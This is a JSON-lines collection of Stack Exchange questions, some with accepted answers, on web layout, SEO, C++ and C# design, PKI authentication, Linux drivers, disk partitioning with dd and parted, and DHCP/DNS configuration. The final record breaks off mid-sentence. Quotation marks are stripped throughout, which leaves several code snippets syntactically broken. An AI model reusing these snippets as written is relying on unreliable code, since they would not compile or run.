{  "id": "_datascience.11846"  , "question": "So let's explain my problem. I have a set of items which have a score from 0 to 100. This set is dynamic which means that several values are expected to be added from moment to moment. In each item is named an owner of item. One owner can have one ore more items. What i need to do is to compute a value which represent a score per owner based on his items values. Any ideas what to try?UPDATE: Before start the computation I set a predefined score per owner. I have to compare the result with that score and in ideally case should be the same. That items values should be changed on each iteration in order to obtain ideal case. Beside the strategie which i can apply do you have any suggestion to verify fast the accuracy?UPDATE 2: I know what represent the items. And also what represent the owner. Let's say that i want to measure how dangerous is the owner. Owner have several weapons each one with a score of dangerousness. I want to compare different owners. For example, one which had 200 items with score of 20 and 300 with 40 and another have 350 with 50. Of course the list with items is bigger than 100 and most probably one owner will have several items. I need a strategy to compute score and compare with assumed score. Then i need to see how good is the strategy. So my questions in fact are? What tools provide mathematics to treat such quantities? What tools provide mathematics to measure (what to measure in) strategy?"  , "title": "Decision calculus from data"  , "tags": "machine learning;decision trees"  } 
{  "id": "_webmaster.43301"  , "question": "I've created a simple video & photo sharing website. I want to arrange the preview (thumbnail view) of photos and videos in a tile-like format (like windows 8 start screen) in the home page.I'm confused as to which tag I should use: table or div. I think it's quite easy to do it using tables, but I don't want to use it because it's solely used for tabular data. I also think that it could cause problems down the road (perhaps getting messy during maintenance.)The other option is to use a  div tag, but I don't know how I would go about doing this with a div tag.Which one should I go for? A table or a div? If I should use a div, how would I implement this?"  , "title": "How to arrange items in a tile like format in a web page?"  , "tags": "website design"  , "accepted_answer": "The nice thing about tables is that they are very easy to define a grid with a fixed number of rows and columns.   If the content in one cell is over-sized, the table will expand to accommodate it.On the other hand, divs can be more dynamic.  You can have 10 of them across when the window is maximized and 4 across when it is narrower with dynamic layout between the two.  For divs, you will want to make each one a fixed size (both width and height), put some padding around them, and make sure they float left.  Here is some CSS that I am using on my homepage to make a tile layout.  Each div has a class=item on it.  I'm using min-height rather than height so that the divs expand vertically if I put too much stuff in them.  Older IE versions didn't support this, but I think it works ok now..item {padding:.2cm;float:left;width:6cm;min-height:5cm;border:thin black ridge;margin:.1cm;font-size:medium;}"  } 
{  "id": "_webmaster.82305"  , "question": "A partner sends us traffic two ways:Visitors click on a link on their site and land on oursVisitors interact with our widget on their site, eventually saving some info and clicking through to land deeper in our checkout process.Visitors coming from path 1 are currently marked as medium=referral by the browser and thus tracked in Google Analytics. Visitors from path 2 are tagged medium=affiliate by our own UTM parameters. Should we leave it split like that or is it better to unify that traffic as one medium? "  , "title": "Should We Track an Affiliates Traffic as Medium=affiliate or =referral?"  , "tags": "google;google analytics;analytics;url parameters;parameters"  , "accepted_answer": "If you have a host of legacy data with this separation, you are better off leaving it as it is. You can usually sort this out in your reports, so having consistent data is best.In contrast, if this is a new partner, you should keep the medium consistent and use affiliate. You never know what dimensions or metrics will reveal important data. If you have to set up segments or manage report filters because of this medium inconsistency, it may be troublesome to get to the correct view quickly. Keep in mind that the optional campaign content parameter can be used to differentiate the specific content that was clicked."  } 
{  "id": "_webmaster.71519"  , "question": "Both title attribute and link anchor text does provide positive influence to SEO.Example:<a href=www.companyA.com>Service Provided</a><a href=www.companyB.com title=Service Provided>Company B</a>But how much is the different of influence between two? Company A or B will have better position in SEO?"  , "title": "Title Attribute vs Link Anchor Text in SEO"  , "tags": "seo;links;title attribute"  , "accepted_answer": "Putting keywords in the title attribute doesn't give SEO value to the linked site and the page of the link. However, the anchor of a link gives SEO value to the linked site and the page of the link.Consequently, regarding optimizing the SEO value of a link, keywords in the anchor needs to be seriously considered instead of the title attribute.However, the title attribute of a link is important as well but for users, not SEO."  } 
{  "id": "_codereview.6821"  , "question": "This code will be used to map a set of unique keys to a container of objects that are unique to that key. I would like to be able to reuse this code in future projects hence the template, and not hard coding the types into the class.  You can also access the code here.main.cpp#include <set>#include <string>#include <fstream>#include file_to_map.hint main(int argc, char *argv[]){  file_to_map<std::string, std::multiset<std::string> > ftm(opengl_functions);  std::ifstream ifs;  ifs << ftm;  std::cout >> ftm;  return 0;}file_to_map.h#ifndef FILE_TO_MAP_H_#define FILE_TO_MAP_H_#include <map>#include <vector>#include <string>#include <fstream>#include <iostream>#include <iterator>#include <algorithm>template <class T>  struct print{  print(std::ostream &out) : os(out) {}  void operator() (T x) { os << x << ' ' << std::endl; }  std::ostream & os; };template <class key, class container>class file_to_map{public:  file_to_map()   {    m_file = ;   }  file_to_map(std::string file)  {    m_file = file;  }  ~file_to_map()   {  }  std::map<key, container>& getMap() {    return m_map;  }  friend std::ostream& operator>> (std::ostream &out, file_to_map<key, container> &obj)  {    typedef typename std::map<key, container>::const_iterator mapItr;    mapItr mbi = obj.m_map.begin();    mapItr emi = obj.m_map.end();    while (mbi != emi) {      out <<  --  << mbi->first <<  --  << std::endl;      ++mbi;    }       return out;  }  friend std::istream& operator<< (std::ifstream &in, file_to_map<key, container> &obj)  {    if (in.is_open())         in.close();    if (obj.m_file == )       return in;     in.open(obj.m_file.c_str(), std::ios::in);    if (in.fail() || in.bad()) {      in.close();      return in;     }    std::vector<key> tmp;    typedef std::istream_iterator<key> string_input;    copy(string_input(in), string_input(), back_inserter(tmp));    typename std::vector<key>::iterator bvi = tmp.begin();    typename std::vector<key>::iterator evi = tmp.end();    while (bvi != evi) {        obj.m_map[*(bvi)] = container();        ++bvi;    }    in.close();    return in;  }private:  std::map<key, container> m_map;  std::string m_file;};#endif//FILE_TO_MAP_H_Makefilefile_to_map : file_to_map.h main.cpp        g++ -o file_to_map -Wall ./file_to_map.h ./main.cpp"  , "title": "File to map class"  , "tags": "c++;hash table"  , "accepted_answer": "For one thing, you have operators << and >> reversed for the streams.I wouldn't recommend overloading ifstream operator, at least not like this. operator>> does not normally open and close files, it reads a value from an already open stream. Basically your class is just asking the caller to provide what the class could create itself. Neither would chaining this operator use do any good, because the returned stream is not good anyway.Personally I think that operator>> should either be able to parse what operator<< outputs, or it shouldn't be implemented at all.The constructor itself should load the file and/or the class should provide a named method for loading a file.As to populating the map keys, is it really necessary to put the keys in a vector first?"  } 
{  "id": "_softwareengineering.201108"  , "question": "I understand PKI reasonably well from a conceptual point of view - i.e. private keys/public keys - the math behind them, use of hash & encryption to sign a certificate, Digital Signing of Transactions or Documents etc. I have also worked on projects where openssl C libraries were used with certs for securing communication and authentication. I am also extremely familiar with openssl command line tools.However, I have very little experience with web based PKI enabled projects & hence I am trying to design and code a personal project for understanding this better.The requirementsThis is the website for a bank. All Internet Banking users are allowed use any certificate issued by a few known CAs (verisign, Thawte, entrust etc). The Bank is not responsible for procuring certificates for the user. These certificates will be used for authentication to the banks website either instead of or as an add-on to username/password login. The platforms/OS etc are still not fixed. Assume that enrollment has been done - i.e. bank knows the certificate going to be used by each user.DesignI was wondering what's the best way to do authentication?I saw that Apache has a way to enable 2 way ssl - in this case, i think navigating to the website would automatically ask for a cert from the user. But I am not sure if this is enough because it seems that all it verifies is whether a certificate is signed by a trusted CA & also may be whether it falls in a white list of subject lines of the certificates etc. But this is not enough for a bank case because you need to be able to associate a bankuserid with a certificate.IIS seems to have a way by which I can have a certificate stored for each user in Active Directory. This is what I understood from reading few MSDN articles. You turn on 2 way SSL in IIS & then when the user tries to navigate to the website, IIS will send a request to the browser with a list of approved CAs and browser will let the user pick an appropriate certificate from his certstore and sends it to backend. I am assuming that IIS will do 2 thingsEnsure that the user has the private key corresponding to the cert (by under the cover negotiations)Based on the AD User-Cert Mapping, IIS will report the username to the application.Do the authentication explicity by calling crypto functions rather depending on depending on the webserver to do it.Show a user screen where he uploads a certificate and the application ensures the user has the private key corresponding to the cert (by asking the front-end to sign some string using the cert).The application has a database some of data is stored which allows each user to be mapped to his userid. This may be the whole cert corresponding to each useridthe CA and cert serial number corresponding to each user id.I was wondering which is the commonly used method? What are the best practices?If I should go with #3, what are the best ways to do this?"  , "title": "Login to a Web App using PKI Certs"  , "tags": "web applications;security;authentication;certificate"  } 
{  "id": "_unix.210420"  , "question": "I have a native install of Kali Linux on my custom PC which has an Intel Core i5 4690K CPU and an NVIDIA GTX960 GPU. The monitor plugged into my DVI port is working but my 2nd monitor plugged into HDMI is not. In fact, Kali is not even detecting the second monitor. I've tried to follow Blackmore Ops' guide to install the NVIDIA drivers figuring I need the proprietary drivers. However when I call nvidia-xconfig to generate the new config files and reboot, I get trapped on a black screen with a cursor and the only way to get out is to Ctrl+Alt+F1 to recovery mode and remove the conf file. I've been grinding at this for hours and am hopelessly stuck.There is a suggestion on page four of the guide to simply remove nouveau to get it to work. I tried it as specified with apt-get remove -purge nouveau but I get the outputE: Command line option 'p' [from -purge] is not known.and when I try without -purge I getE: Command line option 'p' [from -purge] is not known.But I know it's there because when I issue lsmod | grep nouveau I get output.As I said, I feel hopelessly stuck."  , "title": "Dual Monitor Support in Kali Linux"  , "tags": "drivers;nvidia;kali linux;dual monitor"  , "accepted_answer": "Figured it out. I went to NVIDIA's website and downloaded their Linux drivers. It was a pain figuring out how to install them because of an x server error but it turns out I had to kill gdm3. Once I did that they installed and now it works."  } 
{  "id": "_unix.48797"  , "question": "I was wondering if there was a way to use the highest available resolution in the syslinux.cfg file?I know i can do:MENU RESOLUTION 1024 768but without knowing available resolutions beforehand, is there a way to just choose the highest and have multiple backgrounds for different sizes etc?"  , "title": "syslinux / vesamenu.c32 - using highest available screen resolution?"  , "tags": "boot loader;resolution;syslinux"  } 
{  "id": "_unix.375839"  , "question": "Is there anyway to achieve 2-factor authentication with luks so that if a key is compromised, if the other part is not in hand, the data is still secure?"  , "title": "luks - is there 2-factor authentication"  , "tags": "luks"  } 
{  "id": "_unix.167450"  , "question": "So I have a 3TB hard drive /dev/sdc that I am trying to create a partition on. Before this point, I had the issues described below, I transfered the drive to a Windows 7 computer and created a GPT on it from there. Windows 7 only recognized it as being around 800 GB, not the 3 TB it should be.Here are the details of the hard drive:root@VMHost:~# hdparm -i /dev/sdc/dev/sdc: Model=ST3000DM001-1CH166, FwRev=CC24, SerialNo=W1F2TRVD Config={ HardSect NotMFM HdSw>15uSec Fixed DTR>10Mbs RotSpdTol>.5% } RawCHS=16383/16/63, TrkSize=0, SectSize=0, ECCbytes=4 BuffType=unknown, BuffSize=unknown, MaxMultSect=16, MultSect=16 CurCHS=16383/16/63, CurSects=16514064, LBA=yes, LBAsects=5860533168 IORDY=on/off, tPIO={min:120,w/IORDY:120}, tDMA={min:120,rec:120} PIO modes:  pio0 pio1 pio2 pio3 pio4 DMA modes:  mdma0 mdma1 mdma2 UDMA modes: udma0 udma1 *udma2 udma3 udma4 udma5 udma6 AdvancedPM=yes: unknown setting WriteCache=enabled Drive conforms to: unknown:  ATA/ATAPI-4,5,6,7 * signifies the current active modeHere is the MBR (first 512 bytes) of the hard drive after creating the GPT from Windows 7:root@VMHost:~# dd if=/dev/sdc bs=512 count=1 | xxd1+0 records in1+0 records out512 bytes (512 B) copied, 0.000573978 s, 892 kB/s0000000: 0000 0000 0000 0000 0000 0000 0000 0000  ................0000010: 0000 0000 0000 0000 0000 0000 0000 0000  ................0000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................0000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................0000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................0000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................0000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................0000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................0000080: 0000 0000 0000 0000 0000 0000 0000 0000  ................0000090: 0000 0000 0000 0000 0000 0000 0000 0000  ................00000a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................00000b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................00000c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................00000d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................00000e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................00000f0: 0000 0000 0000 0000 0000 0000 0000 0000  ................0000100: 0000 0000 0000 0000 0000 0000 0000 0000  ................0000110: 0000 0000 0000 0000 0000 0000 0000 0000  ................0000120: 0000 0000 0000 0000 0000 0000 0000 0000  ................0000130: 0000 0000 0000 0000 0000 0000 0000 0000  ................0000140: 0000 0000 0000 0000 0000 0000 0000 0000  ................0000150: 0000 0000 0000 0000 0000 0000 0000 0000  ................0000160: 0000 0000 0000 0000 0000 0000 0000 0000  ................0000170: 0000 0000 0000 0000 0000 0000 0000 0000  ................0000180: 0000 0000 0000 0000 0000 0000 0000 0000  ................0000190: 0000 0000 0000 0000 0000 0000 0000 0000  ................00001a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................00001b0: 0000 0000 0000 0000 19d0 7cdc 0000 0000  ..........|.....00001c0: 0200 eeff ffff 0100 0000 ffff ffff 0000  ................00001d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................00001e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................00001f0: 0000 0000 0000 0000 0000 0000 0000 55aa  ..............U.Now, if I execute parted /dev/sdc on it, I get the following:root@VMHost:~# parted /dev/sdcGNU Parted 2.3Using /dev/sdcWelcome to GNU Parted! Type 'help' to view a list of commands.(parted) printError: The backup GPT table is corrupt, but the primary appears OK, so that will be used.OK/Cancel? OWarning: Not all of the space available to /dev/sdc appears to be used, you can fix the GPT to use all of the space (an extra 4294967296 blocks) or continue with the current setting?Fix/Ignore? IModel: ATA ST3000DM001-1CH1 (scsi)Disk /dev/sdc: 3001GBSector size (logical/physical): 512B/4096BPartition Table: gptNumber  Start   End    Size   File system  Name                          Flags 1      17.4kB  134MB  134MB               Microsoft reserved partition  msftres(parted) mklabel gptWarning: The existing disk label on /dev/sdc will be destroyed and all data on this disk will be lost. Do you want to continue?Yes/No? Yes(parted) printError: /dev/sdc: unrecognised disk label(parted) quitInformation: You may need to update /etc/fstab.In the case above, I had it Ignore the error instead of Fix it. Before, I had tried having it Fix the error and still come to the same thing. As you see, once I do a mklabel gpt it appears to successfully complete, but then I receive the following error on any subsuquent requests:Error: /dev/sdc: unrecognised disk labelFinally, when I attempt to get the MBR from the drive, I receive the followingroot@VMHost:~# dd if=/dev/sdc bs=512 count=1 | xxd1+0 records in1+0 records out512 bytes (512 B) copied, 0.000411262 s, 1.2 MB/s0000000: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000010: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000020: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000030: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000040: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000050: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000060: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000070: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000080: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000090: ffff ffff ffff ffff ffff ffff ffff ffff  ................00000a0: ffff ffff ffff ffff ffff ffff ffff ffff  ................00000b0: ffff ffff ffff ffff ffff ffff ffff ffff  ................00000c0: ffff ffff ffff ffff ffff ffff ffff ffff  ................00000d0: ffff ffff ffff ffff ffff ffff ffff ffff  ................00000e0: ffff ffff ffff ffff ffff ffff ffff ffff  ................00000f0: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000100: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000110: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000120: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000130: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000140: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000150: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000160: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000170: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000180: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000190: ffff ffff ffff ffff ffff ffff ffff ffff  ................00001a0: ffff ffff ffff ffff ffff ffff ffff ffff  ................00001b0: ffff ffff ffff ffff ffff ffff ffff ffff  ................00001c0: ffff ffff ffff ffff ffff ffff ffff ffff  ................00001d0: ffff ffff ffff ffff ffff ffff ffff ffff  ................00001e0: ffff ffff ffff ffff ffff ffff ffff ffff  ................00001f0: ffff ffff ffff ffff ffff ffff ffff ffff  ................So parted wrote over everything in the MBR with all 1's.Finally, if I attempt to write over the MBR with all 0's, the following occurs:root@VMHost:~# dd if=/dev/zero of=/dev/sdc bs=512 count=11+0 records in1+0 records out512 bytes (512 B) copied, 0.00132826 s, 385 kB/sroot@VMHost:~# dd if=/dev/sdc bs=512 count=1 | xxd1+0 records in1+0 records out512 bytes (512 B) copied, 0.00602964 s, 84.9 kB/s0000000: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000010: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000020: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000030: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000040: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000050: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000060: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000070: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000080: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000090: ffff ffff ffff ffff ffff ffff ffff ffff  ................00000a0: ffff ffff ffff ffff ffff ffff ffff ffff  ................00000b0: ffff ffff ffff ffff ffff ffff ffff ffff  ................00000c0: ffff ffff ffff ffff ffff ffff ffff ffff  ................00000d0: ffff ffff ffff ffff ffff ffff ffff ffff  ................00000e0: ffff ffff ffff ffff ffff ffff ffff ffff  ................00000f0: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000100: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000110: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000120: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000130: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000140: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000150: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000160: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000170: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000180: ffff ffff ffff ffff ffff ffff ffff ffff  ................0000190: ffff ffff ffff ffff ffff ffff ffff ffff  ................00001a0: ffff ffff ffff ffff ffff ffff ffff ffff  ................00001b0: ffff ffff ffff ffff ffff ffff ffff ffff  ................00001c0: ffff ffff ffff ffff ffff ffff ffff ffff  ................00001d0: ffff ffff ffff ffff ffff ffff ffff ffff  ................00001e0: ffff ffff ffff ffff ffff ffff ffff ffff  ................00001f0: ffff ffff ffff ffff ffff ffff ffff ffff  ................As you can see, dd thinks it completed successfully, but upon checking the drives MBR, it is still all 1's.I have two hard drives that are doing this, two of the three drives I used to build a RAID as mentioned in this question: mdadm RAID 5 and parted unrecognized disk labelDoes anyone know how I may get my drives back to a working state where I could then attempt to build a RAID again?UPDATE: Yes, it can handle 3 TB drives. I have removed the non-working drives from the computer, so they are not displayed here, but the working drives are here, which includes two 3 TB drives.lex@VMHost:~$ sudo parted --listModel: ATA ST1000DM003-1CH1 (scsi)Disk /dev/sda: 1000GBSector size (logical/physical): 512B/4096BPartition Table: msdosNumber  Start   End     Size    Type      File system  Flags 1      1049kB  256MB   255MB   primary   ext2         boot 2      257MB   1000GB  1000GB  extended 5      257MB   1000GB  1000GB  logical                lvmModel: ATA ST3000DM001-1CH1 (scsi)Disk /dev/sdb: 3001GBSector size (logical/physical): 512B/4096BPartition Table: gptNumber  Start   End     Size    File system  Name                  Flags 1      1049kB  3001GB  3001GB  ntfs         Basic data partition  msftdataModel: ATA ST3000DM001-1CH1 (scsi)Disk /dev/sdc: 3001GBSector size (logical/physical): 512B/4096BPartition Table: gptNumber  Start   End     Size    File system  Name  Flags 1      1049kB  3001GB  3001GB                     raidAs for the motherboard being used, it is Gigabyte GA-990FXA-UD5 (http://www.gigabyte.com/products/product-page.aspx?pid=3891#ov)As for the lsof /dev/sdc, cat /proc/mdstat, and dmesg | grep -C3 sdc commands, I will put one of the hard drives back into the computer when I get home from work today and post the results of those commands.UPDATE: I have inserted the two drives back into the computer and executed the three commands that were listed in the comments. I chose one of the problem drives, sdd:root@VMHost:/home/lex# lsof /dev/sddroot@VMHost:/home/lex# cat /proc/mdstatPersonalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10]unused devices: <none>root@VMHost:/home/lex# dmesg | grep -C3 sdd[    2.214863] sd 3:0:0:0: [sdc] Mode Sense: 00 3a 00 00[    2.214924] sd 3:0:0:0: [sdc] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA[    2.215017] scsi 5:0:0:0: Direct-Access     ATA      ST3000DM001-1CH1 CC24 PQ: 0 ANSI: 5[    2.215162] sd 5:0:0:0: [sdd] 5860533168 512-byte logical blocks: (3.00 TB/2.72 TiB)[    2.215167] sd 5:0:0:0: Attached scsi generic sg4 type 0[    2.215170] sd 5:0:0:0: [sdd] 4096-byte physical blocks[    2.215273] sd 5:0:0:0: [sdd] Write Protect is off[    2.215278] sd 5:0:0:0: [sdd] Mode Sense: 00 3a 00 00[    2.215306] scsi 5:0:1:0: Direct-Access     ATA      ST3000DM001-1CH1 CC24 PQ: 0 ANSI: 5[    2.215311] sd 5:0:0:0: [sdd] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA[    2.215586] sd 5:0:1:0: [sde] 5860533168 512-byte logical blocks: (3.00 TB/2.72 TiB)[    2.215591] sd 5:0:1:0: [sde] 4096-byte physical blocks[    2.215625] sd 5:0:1:0: Attached scsi generic sg5 type 0[    2.215705] sd 5:0:1:0: [sde] Write Protect is off[    2.215710] sd 5:0:1:0: [sde] Mode Sense: 00 3a 00 00[    2.215757] sd 5:0:1:0: [sde] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA[    2.264662]  sdd: sdd1 sdd2[    2.267284]  sdc: sdc1[    2.267722] sd 3:0:0:0: [sdc] Attached SCSI disk[    2.269904]  sdb: sdb1[    2.270426] sd 2:0:0:0: [sdb] Attached SCSI disk[    2.295403] random: lvm urandom read with 81 bits of entropy available[    2.321435] sd 5:0:0:0: [sdd] Attached SCSI disk[    2.326279] firewire_core 0000:04:0e.0: created device fw0: GUID 0049e550854d0d00, S400[    2.330185]  sde: sde1 sde2[    2.330654] sd 5:0:1:0: [sde] Attached SCSI disk"  , "title": "Hard Drive reporting all 1's after parted"  , "tags": "hard disk;dd"  } 
{  "id": "_softwareengineering.201524"  , "question": "Simon Peyton Jones himself recognizes that reasoning about performance in Haskell is hard due to the non strict semantics.I have yet to write a significant project in haskell so I wonder: can I reason about performance only at the beginning of a project (when choosing basic data structures & IO library) and whenever a problem arise, deal with it with the profiler?To put it differently, is it possible (ie not too painful) to postpone dealing with performance when you have performance issues, or do you have to learn to predict how GHC will run your code (for exemple: infer what the strictness analyser will decide)?"  , "title": "When is it a good time to reason about performance in Haskell?"  , "tags": "performance;haskell"  , "accepted_answer": "The other answers provide broad advice about performance reasoning.  This answer specifically addresses non-strict semantics.While laziness does make it harder to reason about performance, it isn't as complicated as you might think.  Although laziness is quite useful in some situations, most of the time a lazy language gets used in the same way that a strict language would be used.  Consequently, performance reasoning for strict languages can be applied (with a few adjustments) to lazy languages.In terms of time complexity, eager evaluation does strictly more work than lazy evaluation.  Both strategies produce the same result in most cases.  (More precisely, if eager evaluation doesn't run into any errors, it produces the same result as lazy evaluation.)  Therefore, to reason about the time complexity of a Haskell program, you can pretend that it evaluates eagerly.  In those infrequent situations where laziness matters, this estimate will be too high and should be revised downwards.While lazy evaluation gives you lower time complexity than eager evaluation, it sometimes gives you higher space complexity, i.e. space leaks.  Higher space complexity can be fixed by adding strictness annotations to make a program execute more eagerly.  Profiling tools are pretty good at tracking down the cause of space leaks.  I'd categorize this as either correctness debugging or performance debugging, depending on the severity."  } 
{  "id": "_webmaster.43673"  , "question": "This is a follow up question to  Archiving web content annually. One site or sites by year?We are completing the import of tens of thousands scientific abstracts into a single site.  The most recent two years of abstracts were hosted on separate domains (conference2012.org, conference2011.org) and represents around 3,000 pages.  I have the ability to add redirects to every single document on the smaller sites and redirect to the new, main site.  However, I am uncertain if Google will slap a Panda, Penguin, or Farmer penalty on the new site for receiving so many redirects from two other domains. But if I don't redirect, I'm concerned that I'll get nailed by the duplicate content penalty before the old sites de-index.How do I set up this type of migration?"  , "title": "Does Google penalize for too many redirects from different domains?"  , "tags": "seo;redirects;301 redirect"  , "accepted_answer": "Merging a small number of sites into one shouldn't be a problem.  In fact, Matt Cutts made a webmaster help video expressly for this situation: http://www.youtube.com/watch?v=l7M22teF3Ho"  } 
{  "id": "_vi.7116"  , "question": "Since importing a package and not using it in Go is a compilation error,fixing the import manually can be a bit of a pain while debugging, so I'm currently using this to fix it up automatically before saving: Filter all lines through cmd, and silently undo it if there's an errorfun! s:write_cmd(cmd)    let l:save = winsaveview()    keepjumps silent %!goimports    if v:shell_error != 0        normal! u    endif    call winrestview(l:save)endfunaugroup ftype_go    autocmd!    autocmd BufWritePre *.go call s:write_cmd('goimports')augroup endThis works, but has at least two problems:Pressing u undoes this.:!! now runs goimports (and not, for example, :!go run % which Imanually typed).Perhaps others side-effects I haven't noticed yet?How can I transparently filter my buffer to an external command (meaning it won't cause any side-effects)?"  , "title": "How can I filter a buffer to an external command on save without causing any side effects?"  , "tags": "external command;undo redo"  } 
{  "id": "_webmaster.32128"  , "question": "I am using Google Custom Search for my site. I want Google to provide at most 2 searches from a site. I am not sure whether it is possible or not, but it seems there is no such option on Google CSE.For example, my CSE has 10 listed sites. What I want is that whenever a user makes a search then search results should show at most two links from a site. In general CSE is returning  multiple results from one site only and these come on page 1. If it is at most 2 from a site then the user has a better chance to have links from other sites too."  , "title": "Customizing Google Custom Search"  , "tags": "google custom search"  } 
{  "id": "_unix.277701"  , "question": "Running BIND 9.10.3-P4-RedHat-9.10.3-12.P4.fc23 and DHCP Server 4.3.3-P1. DNS Zones report no errors and appear to work (dig, nslookup, nsupdate, dnssec, rpz, etc.). DHCP starts up without complaint, assigns ip, but log file messages similar to: Unable to add forward map from pc2.blkdiamonds.lan. to 10.0.2.63 appears for each client.I've read man pages, forum posts, dhcp-users lists and archives but I haven't been able to determine what's different in my configuration that causes the DHCP server to send the client's forward map back to the client? Any ideas will greatly be appreciated.DHCP.CONF (partial) is a follows:default-lease-time 600;max-lease-time 7200;ddns-updates on;update-static-leases on;use-host-decl-names on;ddns-update-style interim;authoritative;include /etc/named/_blkdiamonds.ddns.update.key;log-facility local7;ping-check true;ddns-domainname blkdiamonds.lan.;ddns-rev-domainname in-addr.arpa.;server-identifier roxie.blkdiamonds.lan;local-address 10.0.2.254;one-lease-per-client on;do-forward-updates true;....shared-network benu {    ignore client-updates;    deny unknown-clients;    # wr0    subnet 10.0.2.0 netmask 255.255.255.0 {        authoritative;        ignore client-updates;        deny unknown-clients;        ddns-domainname blkdiamonds.lan.;        ddns-rev-domainname in-addr.arpa.;        range 10.0.2.160 10.0.2.167;        option broadcast-address 10.0.2.255;        option domain-name-servers 10.0.2.254;        option ntp-servers 10.0.2.254;        option routers 10.0.2.254;        option time-servers 10.0.2.254;        group {            host pc2-wifi.blkdiamonds.lan {                hardware ethernet 88:25:2c:bc:11:1a;                fixed-address 10.0.2.63;                ddns-hostname Roy-fallen-pc2-wifi;                }...Another subnet"  , "title": "How do I troubleshoot DDNS forwarding problem?"  , "tags": "dhcp;dnssec"  } 
{  "id": "_codereview.162815"  , "question": "This question is inspired by http://anydice.com - a dice probability calculator web application.Anydice language has three run-time types: a number, a sequence and a die. There is also a number of unary and binary operations defined on these types. Each binary operation can take any type pair (out of the 3) as arguments, there are separate definitions of what each operation does for each possible pair of types. Some operations are not commutative.For simplicity let's consider a single binary operation, which I'll call OpAccess, or @. My goal is to design a set of classes that represent the run-time values, so that if the access operation is executed on two of such values the correct operation implementation (depending on argument types) is called.The main problem is that at compile time it is not known yet what run-time type a value has, yet, it's required to dispatch the correct operation implementation during the run-time.Let's start with defining the base class for our values:abstract class Primitive {   public abstract Primitive OpAccess(Primitive right);}Our value will use itself as the left argument in the OpAccessoperation and accept the right argument as the parameter.Having this base we can design our value classes as follows:class Number : Primitive{  public override Primitive OpAccess(Primitive right)  {    return OpAccess((dynamic)right);  }  public Primitive OpAccess(Number right)  {    Console.WriteLine(Number @ Number);    return null;  }  public Primitive OpAccess(Sequence right)  {    Console.WriteLine(Number @ Sequence);    return null;  }  public Primitive OpAccess(Die right)  {    Console.WriteLine(Number @ Die);    return null;  }}class Sequence : Primitive{  public override Primitive OpAccess(Primitive right)  {    return OpAccess((dynamic)right);  }  public Primitive OpAccess(Number right)  {    Console.WriteLine(Sequence @ Number);    return null;  }  public Primitive OpAccess(Sequence right)  {    Console.WriteLine(Sequence @ Sequence);    return null;  }  public Primitive OpAccess(Die right)  {    Console.WriteLine(Sequence @ Die);    return null;  }}class Die : Primitive{  public override Primitive OpAccess(Primitive right)  {    return OpAccess((dynamic)right);  }  public Primitive OpAccess(Number right)  {    Console.WriteLine(Die @ Number);    return null;  }  public Primitive OpAccess(Sequence right)  {    Console.WriteLine(Die @ Sequence);    return null;  }  public Primitive OpAccess(Die right)  {    Console.WriteLine(Die @ Die);    return null;  }}Now if we run something like:Primitive a = new Sequence();Primitive b = new Die();a.OpAccess(b);b.OpAccess(a);We will get:Sequence @ DieDie @ SequenceSince all operation will be defined differently the number of resulting methods is not an issue, it's really this many different ways to do an operation.What worries me more is that I had to duplicatepublic override Primitive OpAccess(Primitive left){  return OpAccess((dynamic)left);}in each class and do not have an easy way around it. Remember, it's just one operation we are considering here, there will be more than a dozen of those in reality. Also, I have no idea if the use of dynamic becomes a performance problem. (Manual dispatch with switch/case should be faster).But maybe I'm attacking this problem from the completely wrong angle? What do you think?Note: this is in the context of writing a parser and an interpreter for Anydice language.UpdateAdditional research prompted by Peter Taylor's answer uncovered the following article, which is most illuminating: 